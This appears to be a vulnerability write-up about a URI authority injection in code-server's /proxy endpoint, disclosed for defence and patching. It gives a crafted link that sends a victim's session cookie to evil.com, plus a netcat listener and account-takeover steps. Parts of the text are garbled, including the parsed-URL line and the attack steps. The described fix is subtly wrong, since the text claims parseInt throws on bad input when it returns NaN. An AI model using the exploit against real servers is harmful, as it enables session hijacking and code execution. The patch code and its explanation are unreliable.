Feb 21, 2026·6 min read·20 visits
The `/proxy` endpoint in `code-server` blindly interpolated user input into a destination URL. Attackers can pass `80@evil.com` as the port, tricking the server into treating the original destination IP as a username and sending the request (plus session cookies) to `evil.com`. Patch: 4.99.4.
A high-severity vulnerability in `code-server`'s proxy endpoint allows unauthenticated attackers to exfiltrate active session tokens. By injecting URI authority delimiters into the port parameter, attackers can force the internal proxy to redirect requests—and the victim's cookies—to a malicious domain. This leads to full account takeover and subsequent Remote Code Execution (RCE) on the host machine.
We all love code-server. It’s the dream: VS Code running on a beefy remote server, accessible from your iPad or a Chromebook. It’s productivity nirvana. But whenever you bridge the gap between "local development tool" and "web application," you invite demons.
One of the most useful features of code-server is its built-in proxy. Say you're building a React app on port 3000 of the remote server. You can't access localhost:3000 because, well, it's not your localhost. So code-server provides a handy endpoint: /proxy/3000/. It takes that request, forwards it to localhost:3000 on the server, and pipes the response back to your browser. Magic.
But here is the catch: that proxy operates with the full trust of your authenticated session. If someone could trick that proxy into talking to their server instead of localhost, they wouldn't just get a web request. They would get your request headers. Including your code-server-session cookie. And once they have that cookie, they aren't just reading your code; they are you. They have a terminal. They have root (or at least your user permissions). Game over.
The vulnerability lies in how code-server constructed the URL to proxy the request to. In the file src/node/routes/pathProxy.ts, the application takes the port number provided in the URL path (e.g., /proxy/8080) and interpolates it directly into a string template.
The developers made a classic assumption: "A port is a number." In a perfect world, users behave, and ports are integers between 1 and 65535. But we don't live in a perfect world; we live in a world where security researchers drink too much coffee and type weird characters into URL bars.
Because there was no validation that the port parameter was actually a number, it was treated as a raw string. This allowed for URI Authority Injection. By injecting the @ symbol, an attacker can fundamentally change how the underlying HTTP library parses the destination URL. It transforms what the developer thought was a destination host into a credential string, and redirects the actual traffic to a new host entirely controlled by the attacker.
Let's look at the diff. It’s painful in its simplicity. This is the code that ran every time you hit /proxy/:port.
// src/node/routes/pathProxy.ts
const getProxyTarget = (req: Request, opts?: ProxyOptions): string => {
const base = (req as any).base || ""
// 💀 FATAL ERROR: Direct string interpolation of user input
return `http://0.0.0.0:${req.params.port}${opts?.proxyBasePath || ""}/${req.originalUrl.slice(base.length)}`
}See that ${req.params.port}? That is the kill zone. If I send a request to /proxy/80, it builds http://0.0.0.0:80. Safe.
But if I send a request to /proxy/test@evil.com? The string becomes:
http://0.0.0.0:test@evil.com/...
To a URL parser, this doesn't look like "connect to 0.0.0.0 on port test@evil.com". It looks like:
http0.0.0.0testevil.comThe proxy happily connects to evil.com, authenticating as user 0.0.0.0, and hands over the payload.
The patch (Commit 47d6d3a) introduces sanity. It forces the port to be an integer. If you try to pass an email address or a domain name, parseInt creates a valid number or throws a fit, and the exploit dies.
const getProxyTarget = (req: Request, opts?: ProxyOptions): string => {
const base = (req as any).base || ""
let port: number
try {
// 🛡️ SANITY CHECK: Ensure it's actually a number
port = parseInt(req.params.port, 10)
} catch (err) {
throw new HttpError("Invalid port", HttpCode.BadRequest)
}
return `http://0.0.0.0:${port}${opts?.proxyBasePath || ""}/${req.originalUrl.slice(base.length)}`
}This vulnerability requires user interaction, but let's be honest: developers click links. Especially links that look like they belong to their own infrastructure.
evil.com that logs all headers.code-server at vscode.corp-victim.com. I craft a malicious link:
https://vscode.corp-victim.com/proxy/80@evil.com/https://vscode.corp-victim.com/proxy/80@evil.com/".vscode.corp-victim.com. You trust it. You are already logged in. You click it.code-server. It includes your strictly scoped SameSite cookies because you are visiting the legitimate domain.code-server receives the request. The router sees the port parameter is 80@evil.com.http://0.0.0.0:80@evil.com/.code-server acts as a proxy. It takes your original request headers—including your session cookie—and forwards them to the target host.evil.com.My nc -lvnp 80 listener on evil.com lights up:
GET / HTTP/1.1
Host: evil.com
Cookie: code-server-session=s%3A_7K...<THE_GOLDEN_TICKET>...
...I copy that cookie. I open my browser. I paste it into my console. I refresh vscode.corp-victim.com. I am now in your IDE. I open a terminal. whoami. I own your cloud instance.
The mitigation here is textbook input validation. Never trust user input to be what you expect it to be. If you expect a number, cast it to a number. If it fails the cast, reject the request.
If you are running code-server versions older than 4.99.4, you are vulnerable. The fix was released in May 2025. You need to update immediately.
If you cannot update (why?), you could theoretically mitigate this with a WAF rule that blocks @ symbols in the URL path for /proxy/ endpoints, but that's a band-aid on a bullet wound. Just update the binary.
> [!NOTE]
> This is a reminder that "Internal" proxies are rarely just internal if the input controlling them comes from the outside. The code-server team responded quickly, but the pattern of "URL construction via string concatenation" remains a prevalent sin in the industry.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
code-server Coder | < 4.99.4 | 4.99.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-441 |
| Attack Vector | Network (AV:N) |
| CVSS | 8.3 (High) |
| Impact | Session Hijacking / RCE |
| Exploit Status | PoC Available |
| KEV Status | Not Listed |
The software acts as an intermediary (proxy) but fails to properly validate the destination, allowing an attacker to access unauthorized resources or exfiltrate data.